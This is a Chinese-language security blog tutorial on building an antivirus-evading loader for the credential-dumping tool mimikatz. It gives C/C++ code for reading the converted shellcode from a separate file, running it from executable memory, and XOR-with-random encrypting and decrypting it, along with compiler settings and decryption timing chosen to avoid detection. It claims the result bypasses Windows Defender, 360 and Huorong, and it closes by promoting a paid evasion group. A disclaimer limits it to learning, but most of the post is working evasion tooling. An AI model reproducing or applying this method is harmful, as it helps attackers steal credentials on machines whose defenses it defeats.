从零开始的 mimikatz 免杀之旅

文摘   科技   2024-03-04 10:30   北京  

免责声明

锦鲤安全的技术文章仅供参考,此文所提供的信息仅供网络安全人员学习和参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。如有侵权烦请告知,我们会立即删除并致歉。本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!谢谢!

前言

本篇文章是一篇免杀新手入门文章,从我的视角出发如何编写一个 mimikatz 本地分离内存加载免杀的演示:

  1. 从创建项目,如何修改配置出发

  2. 到如何编写一个普通的加载器,如何改进加载器

  3. 再到如何对加载器进行简单的免杀即可达到不错的免杀效果


这里并没有使用什么高超的免杀技术,而仅使用了一些简单朴素的方式实现免杀 Windows Defender、360 和火绒。

如果你是免杀新手,也是第一次看我的文章,对免杀了解的不多,可以先看一下我写的免杀基础篇:

免杀入门教程及新手常见问题解答(一)

一、创建项目

使用 vs2022 创建一个 C++ 控制台项目:

修改 release 配置,选择 vs 2015 编译器(没有安装的重新打开 vs 安装包进行安装):

选一下目标平台:

修改优化为大小最小化 /O1:

代码生成选择多线程 /MT,使用 /MD 有谦容性问题,所以一般不使用:

生成清单为否,不使用清单报毒更低:

这里做这些配置是经过我测试免杀效果比较好的配置方案。

二、加载器编写

在下面的 github 项目上找一个最简单的加载器:

https://github.com/ReversingID/Shellcode-Loader/tree/master/windows

这个项目包含了比较全面的各个类型的加载器,allocation 目录下包含了各种 API 申请 shellcode 内存的加载器,execution 目录下包含了各种方式执行 shellcode 的加载器,比如说反射加载器、线程加载器、回调加载器等:

我们选一个最简单的加载器,没错,就你了,使用最多也是最简单的反射加载器:

直接复制过来:

简化一下删除所有不必要的部分:


使用 pe2shc(https://github.com/hasherezade/pe_to_shellcode)将 mimikatz 转成 shellcode:

使用如下函数从 mim.txt 中读取 shellcode:

unsigned char* inputFile(const char* filename, int &len) {    FILE* fp = NULL;    int err = fopen_s(&fp, filename, "rb");    if (err != 0 || !fp) {        exit(-1);    }
fseek(fp, 0, SEEK_END); len = ftell(fp); rewind(fp);
unsigned char* lpAddress = (unsigned char*)malloc(len); fread(lpAddress, 1, len, fp); fclose(fp); return lpAddress;}

修改执行权限这里从读执行PAGE_EXECUTE_READ修改成读写执行PAGE_EXECUTE_READWRITE,不然 shellcode 执行不起来:

修改属性->调试->工作目录为 mim.txt 所在路径:

成功执行 shellcode:

三、加载器免杀

步骤二中虽然已经编写了一个本地分离加载器,但是也仅仅是加载器,还不能免杀,下面需要对其进行免杀处理。

首先对 shellcode 进行加密,不能使用太简单的加密算法,如异或加密,但也不要使用太复杂的加密算法 aes 等;最好使用自定义的异或加密算法。

实际上不用过于纠结加解密算法,只要加密内容足够混乱即可达到免杀效果。

因此这里使用异或随机值加解密,每一位 shellcode 都会和一位随机值进行异或加密,可以达到足够混乱,但缺点也很明显,加密后熵值太高,达到 7.9,熵值太高容易导致被杀软查杀,因此该加密算法不适应内嵌 shellcode,但使用本地分离的方式不受影响:

void encrypt(unsigned char* input, int len, unsigned int key) {    srand(key);    for (int i = 0; i < len; i++) {        input[i] = input[i] ^ key;        input[i] = input[i] ^ (rand() % len + 1);    }}
void decrypt(unsigned char* input, int len, unsigned int key) { srand(key); for (int i = 0; i < len; i++) { input[i] = input[i] ^ (rand() % len + 1); input[i] = input[i] ^ key; }}


右键解决方案,选择新建一个 C++ 控制台项目,并取名为 crypto:

我们新建一个项目来读取 shellcode 进行加解,之后输出加密后的 shellcode:

完整内容如下:

#include <iostream>
void encrypt(unsigned char* input, int len, unsigned int key) {...}
void decrypt(unsigned char* input, int len, unsigned int key) {...}
unsigned char* inputFile(const char* filename, int& len) { FILE* fp = NULL; int err = fopen_s(&fp, filename, "rb"); if (err != 0 || !fp) { printf("Error: unable to open file for reading\n"); exit(-1); }
fseek(fp, 0, SEEK_END); len = ftell(fp); rewind(fp);
unsigned char* lpAddress = (unsigned char*)malloc(len); fread(lpAddress, 1, len, fp); fclose(fp); return lpAddress;}
void outputFile(const char* filename, unsigned char * buf, int len) { FILE* fp = NULL; fopen_s(&fp, filename, "wb"); if (!fp) { printf("Error: unable to open file for writing\n"); exit(-1); }
fwrite(buf, 1, len, fp); fclose(fp);}
int main(){ int key = 123006; int len; unsigned char * buf = inputFile("mim.txt", len);
encrypt(buf, len, key);
outputFile("mim_e.txt", buf, len);}

这里使用密钥为 123006,读取 mim.txt 内容,使用异或随机值加密后输出到 mim_e.txt。


右键 crypto 项目,设为启动项目:

之后点击运行,输出加密后的 mim_e.txt:


回过来修改加载器的代码,加上解密函数:

这里,解密的时机比较重要,可以看到是在 shellcode 已经移入内存且修改权限之后,反射执行 shellcode 之前,总之记住一句话,不要太早解密,解密的时机因该尽可能的晚,越早解密暴露的风险越大。


我们看一下加密的文件大小,可以看到大小是 1373696:

然后修改一下代码,将长度写死在代码中:

我删除了 inutFile 函数中读取文件长度的部分,将 payload_len 直接赋值为 1373696,这样做是避免从文件中读取 shellcode 长度,从而减少特征。


把调试模式改成否,然后用 release 模式编译:

编译执行,mimikatz 正常执行,加载器编写完成:


windows defender 扫描,并且执行正常没有被杀:

这里注意:Windows Defender 是有内存扫描的,如果你没有对源码进行过免杀就不要使用自己编译的版本,而是使用官方编译的版本,官方编译的版本内存免杀效果更好,自己编译的版本很容易在源码中留下特征码导致内存查杀。


360、火绒扫描通过:

360 没有内存扫描,因此只需要做好静态查杀,即可执行,值得注意的是,实际上火绒的右键查杀是有 7 秒的沙箱查杀的,但是仅限于单文件,因此对本地分离方式是没有用的。

最后

这里从零开始演示了从创建项目->编写加载器、改进加载器->免杀的全部过程,使用了本地分离和异或随机值加解密的方式进行免杀。

如何你还不满足,想要更进一步,将 shellcode 内嵌在 exe 文件中实现单文件加载,那么本篇使用的加密算法就不够了,需要更好的的加密算法,该算法必须要满足以下三点:

  1. 加密算法足够简单

  2. 加密足够混乱

  3. 熵值足够低


本篇使用的异或随机值加解密满足以上两点,但是对 shellcode 加密后熵值达到 7.9,属于非常高的范围,事实上该加密算法还有非常高的优化空间,比如目前的加密方式是对每一位 shellcode 都异或一个随机值,那么我梦改进一下,不用没有为都异或一个随机值是不是就能降低熵值呢?这里只是提一个点,由你们去解决。

当然,仅凭熵值更低的加密算法或许还不够,因为杀软会根据代码逆推解密 shellcode,还需要配合动态 key 和花代码等来达到更好的免杀效果。

小密圈

欢迎加入星球

星球主打免杀与恶意分析

加入我们一起学习免杀

内含优秀免杀源码

内部自研在线免杀平台

仍在持续更新,可过国内主流杀软

进入内部交流群,一起交流



长按-识别-关注

锦鲤安全

一个安全技术学习与工具分享平台

点分享

点收藏

点点赞

点在看

锦鲤安全
当前网络正常